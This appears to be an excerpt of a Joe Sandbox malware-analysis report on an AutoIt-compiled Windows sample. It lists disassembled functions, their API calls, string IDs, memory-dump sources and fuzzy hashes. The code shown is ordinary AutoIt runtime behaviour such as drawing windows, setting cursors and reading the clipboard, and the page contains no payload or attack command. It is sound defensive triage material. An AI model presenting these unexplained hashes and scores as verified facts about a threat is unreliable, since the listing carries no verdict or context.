                              Function 004590BD Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 291windowCOMMON
                              Download Yara Rule
                              APIs
                              • 74285CF0.USER32(?), ref: 004590F2
                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004591AF
                              • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 004591EF
                              • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00459200
                              • CreateWindowExW.USER32(00000008,AutoIt v3,00000000,?,88C00000,?,?,?,00000001,?,00000000,00000000), ref: 00459242
                              • GetClientRect.USER32(00000000,?), ref: 0045924E
                              • CreateWindowExW.USER32(00000000,static,00000000,?,50000000,?,00000004,00000500,00000018,?,00000000,00000000), ref: 00459290
                              • 742861E0.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004592A2
                              • GetStockObject.GDI32(00000011), ref: 004592AC
                              • SelectObject.GDI32(00000000,00000000), ref: 004592B4
                              • GetTextFaceW.GDI32(00000000,00000040,?), ref: 004592C4
                              • 74284620.GDI32(00000000,0000005A), ref: 004592CD
                              • DeleteDC.GDI32(00000000), ref: 004592D6
                              • CreateFontW.GDI32(?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 0045931C
                              • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00459334
                              • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,?,00000000,00000000,00000000), ref: 0045936E
                              • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00459382
                              • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00459393
                              • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,?,00000000,00000000,00000000), ref: 004593C8
                              • GetStockObject.GDI32(00000011), ref: 004593D3
                              • SendMessageW.USER32(?,00000030,00000000), ref: 004593E3
                              • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 004593EE
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Create$MessageSend$ObjectRect$Stock$7428462074285742861AdjustClientDeleteFaceFontInfoParametersSelectShowSystemText
                              • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                              • API String ID: 1752801206-517079104
                              • Opcode ID: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
                              • Instruction ID: c5562805fc82c6770b180505aab83e69ed0b4cba248239bed49a3b83ebf26fc7
                              • Opcode Fuzzy Hash: 7a94e82ab5e7eba8c21ff2ad013f2909889a905bd0bc04285d9267b4528ddb10
                              • Instruction Fuzzy Hash: 71A18371B40214BFEB14DF64CD8AFAE7769AB44711F208529FB05BB2D1D6B4AD00CB68
                              Function 00403A20 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 238COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsnicmp
                              • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                              • API String ID: 1038674560-3360698832
                              • Opcode ID: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
                              • Instruction ID: 9c7d50a5cd0ee83047e92bfb3361563e61671b380f2e7b4b5fccf758bfaba57c
                              • Opcode Fuzzy Hash: 23f0f58ea95d18462155f90075fe93dcb11182f556a84baaa607307f542fa917
                              • Instruction Fuzzy Hash: B5610670701621B7D711AE219C42FAF335C9F50705F50442BFE05AA286FB7DEE8686AE
                              Function 00430737 Relevance: 43.6, APIs: 29, Instructions: 108COMMON
                              Download Yara Rule
                              APIs
                              • LoadCursorW.USER32(00000000,00007F89), ref: 00430754
                              • SetCursor.USER32(00000000), ref: 0043075B
                              • LoadCursorW.USER32(00000000,00007F8A), ref: 0043076C
                              • SetCursor.USER32(00000000), ref: 00430773
                              • LoadCursorW.USER32(00000000,00007F03), ref: 00430784
                              • SetCursor.USER32(00000000), ref: 0043078B
                              • LoadCursorW.USER32(00000000,00007F8B), ref: 0043079C
                              • SetCursor.USER32(00000000), ref: 004307A3
                              • LoadCursorW.USER32(00000000,00007F01), ref: 004307B4
                              • SetCursor.USER32(00000000), ref: 004307BB
                              • LoadCursorW.USER32(00000000,00007F88), ref: 004307CC
                              • SetCursor.USER32(00000000), ref: 004307D3
                              • LoadCursorW.USER32(00000000,00007F86), ref: 004307E4
                              • SetCursor.USER32(00000000), ref: 004307EB
                              • LoadCursorW.USER32(00000000,00007F83), ref: 004307FC
                              • SetCursor.USER32(00000000), ref: 00430803
                              • LoadCursorW.USER32(00000000,00007F85), ref: 00430814
                              • SetCursor.USER32(00000000), ref: 0043081B
                              • LoadCursorW.USER32(00000000,00007F82), ref: 0043082C
                              • SetCursor.USER32(00000000), ref: 00430833
                              • LoadCursorW.USER32(00000000,00007F84), ref: 00430844
                              • SetCursor.USER32(00000000), ref: 0043084B
                              • LoadCursorW.USER32(00000000,00007F04), ref: 0043085C
                              • SetCursor.USER32(00000000), ref: 00430863
                              • LoadCursorW.USER32(00000000,00007F02), ref: 00430874
                              • SetCursor.USER32(00000000), ref: 0043087B
                              • SetCursor.USER32(00000000), ref: 00430887
                              • LoadCursorW.USER32(00000000,00007F00), ref: 00430898
                              • SetCursor.USER32(00000000), ref: 0043089F
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Cursor$Load
                              • String ID:
                              • API String ID: 1675784387-0
                              • Opcode ID: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
                              • Instruction ID: ada3a8d1d263842f4cf6b5ed80e179871947c4c62c163598e9ab22da256eac1d
                              • Opcode Fuzzy Hash: c7473186da6a924b3206e1e01d9541ab2871430d40d1833d6e341d2f3415b8bd
                              • Instruction Fuzzy Hash: AF3101729C8205B7EA546BE0BE1DF5D3618AB28727F004836F309B54D09AF551509B6D
                              Function 004308EF Relevance: 42.2, APIs: 28, Instructions: 200windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetSysColor.USER32(0000000E), ref: 00430913
                              • SetTextColor.GDI32(?,00000000), ref: 0043091B
                              • GetSysColor.USER32(00000012), ref: 00430933
                              • SetTextColor.GDI32(?,?), ref: 0043093B
                              • GetSysColorBrush.USER32(0000000F), ref: 0043094E
                              • GetSysColor.USER32(0000000F), ref: 00430959
                              • CreateSolidBrush.GDI32(?), ref: 00430962
                              • GetSysColor.USER32(00000011), ref: 00430979
                              • CreatePen.GDI32(00000000,00000001,00743C00), ref: 0043098B
                              • SelectObject.GDI32(?,00000000), ref: 0043099C
                              • SetBkColor.GDI32(?,?), ref: 004309A6
                              • SelectObject.GDI32(?,?), ref: 004309B4
                              • InflateRect.USER32(?,000000FF,000000FF), ref: 004309D9
                              • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004309F4
                              • 742845F0.USER32(?,000000F0), ref: 00430A09
                              • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00430A29
                              • GetWindowTextW.USER32(00000000,00000000,?), ref: 00430A5A
                              • InflateRect.USER32(?,000000FD,000000FD), ref: 00430A86
                              • DrawFocusRect.USER32(?,?), ref: 00430A91
                              • GetSysColor.USER32(00000011), ref: 00430A9F
                              • SetTextColor.GDI32(?,00000000), ref: 00430AA7
                              • DrawTextW.USER32(?,?,000000FF,?,00000105), ref: 00430ABC
                              • SelectObject.GDI32(?,?), ref: 00430AD0
                              • DeleteObject.GDI32(00000105), ref: 00430ADC
                              • SelectObject.GDI32(?,?), ref: 00430AE3
                              • DeleteObject.GDI32(?), ref: 00430AE9
                              • SetTextColor.GDI32(?,?), ref: 00430AF0
                              • SetBkColor.GDI32(?,?), ref: 00430AFB
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflate$742845FocusMessageRoundSendSolidWindow
                              • String ID:
                              • API String ID: 1182366783-0
                              • Opcode ID: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
                              • Instruction ID: b12033eb3fa9204049de4d7caedd8dcf025edfa44633034d6aae7949f8ecba99
                              • Opcode Fuzzy Hash: 550e896c7567608c30fce12d6ed7134b72d55419159f0474b5285c649df46e98
                              • Instruction Fuzzy Hash: 6F713071900209BFDB04DFA8DD88EAEBBB9FF48710F104619F915A7290D774A941CFA8
                              Function 0046B9D7 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 415registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046BAE6
                              • RegCreateKeyExW.ADVAPI32(?,?,00000000,00484EA8,00000000,?,00000000,?,?,?), ref: 0046BB40
                              • RegCloseKey.ADVAPI32(?,00000001,00000000,00000000,00000000), ref: 0046BB8A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseConnectCreateRegistry
                              • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                              • API String ID: 3217815495-966354055
                              • Opcode ID: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
                              • Instruction ID: 14c723365299aea1e32a80c9e2d98689f85295d348ed372ee81e16963ac3f886
                              • Opcode Fuzzy Hash: c70c32215588f8ec8bb03fc6aa478a266b625616447da64362da41b73b816162
                              • Instruction Fuzzy Hash: BCE18171604200ABD710EF65C885F1BB7E8EF88704F14895EB949DB352D739ED41CBA9
                              Function 004565B2 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 291windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetCursorPos.USER32(?), ref: 004566AE
                              • GetDesktopWindow.USER32 ref: 004566C3
                              • GetWindowRect.USER32(00000000), ref: 004566CA
                              • 742845F0.USER32(?,000000F0), ref: 00456722
                              • 742845F0.USER32(?,000000F0), ref: 00456735
                              • 74285CF0.USER32(?), ref: 00456746
                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456794
                              • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 004567B2
                              • SendMessageW.USER32(?,00000418,00000000,?), ref: 004567C6
                              • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567D6
                              • SendMessageW.USER32(?,00000421,?,?), ref: 004567F6
                              • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 0045680C
                              • IsWindowVisible.USER32(?), ref: 0045682C
                              • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00456848
                              • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 0045685C
                              • GetWindowRect.USER32(?,?), ref: 00456873
                              • MonitorFromPoint.USER32(?,00000001,00000002), ref: 00456891
                              • GetMonitorInfoW.USER32(00000000,?), ref: 004568A9
                              • CopyRect.USER32(?,?), ref: 004568BE
                              • SendMessageW.USER32(?,00000412,00000000), ref: 00456914
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$Window$Rect$742845Monitor$74285CopyCreateCursorDesktopFromInfoPointVisible
                              • String ID: ($,$tooltips_class32
                              • API String ID: 930342530-3320066284
                              • Opcode ID: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
                              • Instruction ID: fcdb4dd5bfb9c4cfeeadc9569793f3eee26ed74f2078e1bfb0220ba6a1b85fea
                              • Opcode Fuzzy Hash: d36279d6046af7916fa8cb53b873a9c87cdaa8c87180e7b1c59dea88ca998a74
                              • Instruction Fuzzy Hash: 4CB17170A00205AFDB54DFA4CD85BAEB7B4BF48304F10895DE919BB282D778A949CB58
                              Function 0046DCB4 Relevance: 36.2, APIs: 24, Instructions: 247clipboardCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32(?), ref: 0046DCE7
                              • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
                              • GetClipboardData.USER32(0000000D), ref: 0046DD01
                              • CloseClipboard.USER32 ref: 0046DD0D
                              • GlobalLock.KERNEL32(00000000), ref: 0046DD37
                              • CloseClipboard.USER32 ref: 0046DD41
                              • IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
                              • GetClipboardData.USER32(00000001), ref: 0046DD8D
                              • CloseClipboard.USER32 ref: 0046DD99
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
                              • String ID:
                              • API String ID: 15083398-0
                              • Opcode ID: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
                              • Instruction ID: c6f05cb0c77453757aa6b00544986da50a17ac1627668c5aecb5782462309948
                              • Opcode Fuzzy Hash: 5d52f7a8e2fbd0ab087c8c139685d9916ac200a5779b15fccd04bfb456a25eb2
                              • Instruction Fuzzy Hash: CE81B072704201ABD310EF65DD8AB5EB7A8FF94315F00482EF605E72D1EB74E905879A
                              Function 00471BC9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 313windowtimeCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • GetWindowRect.USER32(?,?), ref: 00471CF7
                              • GetClientRect.USER32(?,?), ref: 00471D05
                              • GetSystemMetrics.USER32(00000007), ref: 00471D0D
                              • GetSystemMetrics.USER32(00000008), ref: 00471D20
                              • GetSystemMetrics.USER32(00000004), ref: 00471D42
                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471D71
                              • GetSystemMetrics.USER32(00000007), ref: 00471D79
                              • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00471DA3
                              • GetSystemMetrics.USER32(00000008), ref: 00471DAB
                              • GetSystemMetrics.USER32(00000004), ref: 00471DCF
                              • SetRect.USER32(?,00000000,00000000,?,?), ref: 00471DEE
                              • AdjustWindowRectEx.USER32(?,?,00000000,00000040), ref: 00471DFF
                              • CreateWindowExW.USER32(00000040,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 00471E35
                              • 742859E0.USER32(00000000,000000EB,?), ref: 00471E6E
                              • GetClientRect.USER32(?,?), ref: 00471E8A
                              • GetStockObject.GDI32(00000011), ref: 00471EA6
                              • SendMessageW.USER32(?,00000030,00000000), ref: 00471EB2
                              • SetTimer.USER32(00000000,00000000,00000028,00462986), ref: 00471ED9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: System$Metrics$Rect$Window$ClientInfoParameters$742859AdjustCreateMessageObjectSendStockTimer_malloc
                              • String ID: @$AutoIt v3 GUI
                              • API String ID: 463169423-3359773793
                              • Opcode ID: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
                              • Instruction ID: 8cf5fd9e7b0abf2f472dad9b41bae804ea9cb1b32c1b51d65689880f1cfe2d6c
                              • Opcode Fuzzy Hash: d466945cffb50a7196a7867ec3c7573785653ff52612d7c288cf7d01b72dc8e8
                              • Instruction Fuzzy Hash: 7DC17F71A402059FDB14DFA8DD85BAF77B4FB58714F10862EFA09A7290DB78A840CB58
                              Function 00433A13 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 196COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscat$A1560__wcsicoll_wcscpy_wcslen_wcsncpy
                              • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                              • API String ID: 2681254697-1459072770
                              • Opcode ID: 76acf26b61918e0ebafe3e9c460c5efedcc98b6992261bc6c4f6588f91b2aee1
                              • Instruction ID: bf9a9138137c8e48d15734b0b0bf1383f69a7efb75f9ce998fc77f2ad016157b
                              • Opcode Fuzzy Hash: 76acf26b61918e0ebafe3e9c460c5efedcc98b6992261bc6c4f6588f91b2aee1
                              • Instruction Fuzzy Hash: D551F672A402043BD610BB269C43EFFB36C9F49715F10055FFE09A6242EA7DEA5183AD
                              Function 00469296 Relevance: 33.4, APIs: 6, Strings: 13, Instructions: 116COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicoll$__wcsnicmp
                              • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:$pQH
                              • API String ID: 790654849-32604322
                              • Opcode ID: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
                              • Instruction ID: c91e69f26a1c2718e03151092e39642ccf44f92bf630fd0466772f198d10bc2a
                              • Opcode Fuzzy Hash: 29d435e902b015a153743909057decd258383f7606cc46ad0233eead686698a2
                              • Instruction Fuzzy Hash: CA317731A0420966DB10FAA2DD46BAE736C9F15315F20053BBD00BB2D5E7BC6E4587AE
                              Function 00455A89 Relevance: 31.9, APIs: 21, Instructions: 395COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
                              • Instruction ID: 62dae473257cc2caee0a49c5626d46440081d624880130feb25903cd50123649
                              • Opcode Fuzzy Hash: 7b3c0986a6774ad4839bdf3b3ab280162fe8917d12771473e04c5712f0602a0a
                              • Instruction Fuzzy Hash: 84C128727002046BE724CFA8DC46FAFB7A4EF55311F00416AFA05DA2C1EBB99909C795
                              Function 00452AC7 Relevance: 31.8, APIs: 21, Instructions: 343COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00442C5A: __time64.LIBCMT ref: 00442C66
                              • _fseek.LIBCMT ref: 00452B3B
                              • __wsplitpath.LIBCMT ref: 00452B9B
                              • _wcscpy.LIBCMT ref: 00452BB0
                              • _wcscat.LIBCMT ref: 00452BC5
                              • __wsplitpath.LIBCMT ref: 00452BEF
                              • _wcscat.LIBCMT ref: 00452C07
                              • _wcscat.LIBCMT ref: 00452C1C
                              • __fread_nolock.LIBCMT ref: 00452C53
                              • __fread_nolock.LIBCMT ref: 00452C64
                              • __fread_nolock.LIBCMT ref: 00452C83
                              • __fread_nolock.LIBCMT ref: 00452C94
                              • __fread_nolock.LIBCMT ref: 00452CB5
                              • __fread_nolock.LIBCMT ref: 00452CC6
                              • __fread_nolock.LIBCMT ref: 00452CD7
                              • __fread_nolock.LIBCMT ref: 00452CE8
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045273E
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 00452780
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 0045279E
                                • Part of subcall function 00452719: _wcscpy.LIBCMT ref: 004527D2
                                • Part of subcall function 00452719: __fread_nolock.LIBCMT ref: 004527E2
